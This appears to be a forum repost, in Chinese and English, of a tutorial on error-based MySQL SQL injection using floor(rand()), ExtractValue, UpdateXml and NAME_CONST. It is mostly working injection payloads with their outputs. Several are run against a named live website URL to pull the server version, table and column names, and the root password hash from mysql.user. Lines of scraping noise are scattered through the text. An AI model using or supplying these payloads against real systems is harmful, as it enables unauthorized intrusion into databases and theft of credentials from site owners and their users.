mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
, j* q  x' T* v9 }, ~首先进行正常查询：

mysql> select * from article where id = 1;
/ H0 H% c: o9 y& _$ E$ z+—-+——-+———+
$ K! t3 T. J: M: p| id | title | content |
+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

2 D9 v' q' E0 E5 V

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
+ ^. M7 H1 v6 T
Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
, e& j8 A+ h( s4 }4 j
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
/ U3 S9 b4 K, w" t; D  H. d" w
MYSQL高版本报错注入技巧-利用NAME_CONST注入
0 u0 M8 p* }3 z7 m% |5 b7 A& EIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
. p! D( u6 y* W8 [$ D

相关信息
* P% P) {7 M& C: ?. W; d; Z+ V
. Q+ K! C2 Y# h' @NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

Code:
: f. F$ N% q# b: M$ SNAME_CONST(DATA, VALUE)
- ^$ l2 c2 z! [- M: {9 O7 T' y0 ?7 e
' q8 ?" I  E6 ~- ^& [: lReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
  j. J5 Y1 M# K8 i
; n4 i0 ]6 w# H6 ~8 mSELECT NAME_CONST('TEST', 1)

; A! c. z- Z. R
  g6 n2 \1 |0 E
|---------------|
$ m8 I- O" r8 i1 x$ X- Y|     TEST      |
( a3 x) x$ m# w. q6 _1 V|               |
|---------------|
|       1       |
|               |
|---------------|

1 U- Q: Z, g: i% J( x8 |) [
& \5 J, ^/ R& @) `
) f- ?0 n/ T9 C; K
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables
& T6 h) Y0 ^* ]# f+ u
" b9 m* a9 x* }/ Q7 j. JOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

7 ]: y" e* n3 o9 |1 D) ECode:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261


4 b" Z: j/ B# A& e; b/ U* _
. c  `" U2 d2 s, b! \# x# O  d+ [
; }1 V& y5 Q# j6 T1 f; R  o
Code:
9 r+ {% G; s; O. o- }2 Fand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

, ~) G7 \1 d. x5 j
) D* J% y$ M# o0 d& ]VAR = Your MySQL variable.
( v: G8 v4 Y. c) z
6 ^8 v& v. r4 jMySQL 5.1.3 Server System Variables

3 b% Y; t' M& o, cLet's try it out on my site..

Code:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
# f: m2 Q! F7 U& U/ e
9 o4 Q; A2 A) J3 U- UErroruplicate column name '5.0.27-community-nt'

3 ^5 y" _) k) u0 g% x
; @; Z0 v5 n0 [, d( {4 U. z
& }3 U7 }0 ~: x# @6 }0 h
3 `- e  H( @' V( q
' x! A. w6 i# g  b, Y5 `Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
, u: i1 ^# m$ \. k
2 [* c4 m, b1 aData Extraction

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--


+ {5 E& e- E% IWe should get a duplicate column 1 error...
+ X0 `% n1 ^, J% f4 S' f
* r2 |& [9 b! s: JCode:
1 d; _9 d" ^$ h1 R  ]http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

Erroruplicate column name '1



" m" }- `( j9 B3 k


Now let's get the tables out this bitch..

& w) o( ]; I- XCode:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


) U5 L+ e! f9 m9 g+ L9 z: m. `Let's see if it works here, if it does, we can go on and finish the job.
4 ~8 x) ^& N' L, [: E! ^' I
8 b0 s2 v! {/ l" c" S* X' J) f- dCode:
) K. Y) i6 j1 f) Nhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


+ n+ r: S& j/ e6 g0 BErroruplicate column name 'com_admanage
7 _. ~3 D" y4 U' [0 ]3 J$ D


) f. b% E/ Z2 I9 j/ o. H( B8 m& U
" X6 ?* w2 W% ]6 D! I2 D
  t; _8 @' [% s+ {
. ^9 o) T. }  E/ J' l2 `2 ]Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.

Let's get the columns out of the user table..

  x* ]6 [& n" B7 FCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--

1 E9 {' d5 w! {
So mine looks like this, and I get the duplicate column name 'Host'.

Code:
% [# X1 d1 J7 dhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
2 V; M( @8 A5 x% e  L* h% Y
7 q) f8 {$ X  a, o4 B$ RErroruplicate column name 'Host'
/ `  c. S, k" U
6 j  N4 B: z, R1 N
& J) o1 @' y9 }) e$ m



Woot, time to finish this bitch off.
; @$ t$ }) R: A( h5 x4 O9 g# R
  z' ]) C( r: ]8 r& R# ]Code:
! w3 T5 N0 w3 q6 F+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

( A% ~6 D" P+ i: Y7 L* a, F
So mine looks like this...

2 G2 S3 Z- ^! Y# ^Code:
  C" k# X4 s+ Xhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
+ A+ |$ J& w2 H$ {9 _* m. F$ d" O- T
  I+ `, P+ F. ZErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
% |( E5 c6 D2 [- K
2 D+ E+ y6 l! b6 z* s) {

% R# H6 |6 C0 f% k
% r) R- _1 I! v) k: v/ x! V8 M& G
' \$ Z: z! {6 o  t# w- N  `
And there we have it, thanks for reading.
$ {4 U5 p* `1 e. C0 K- {' i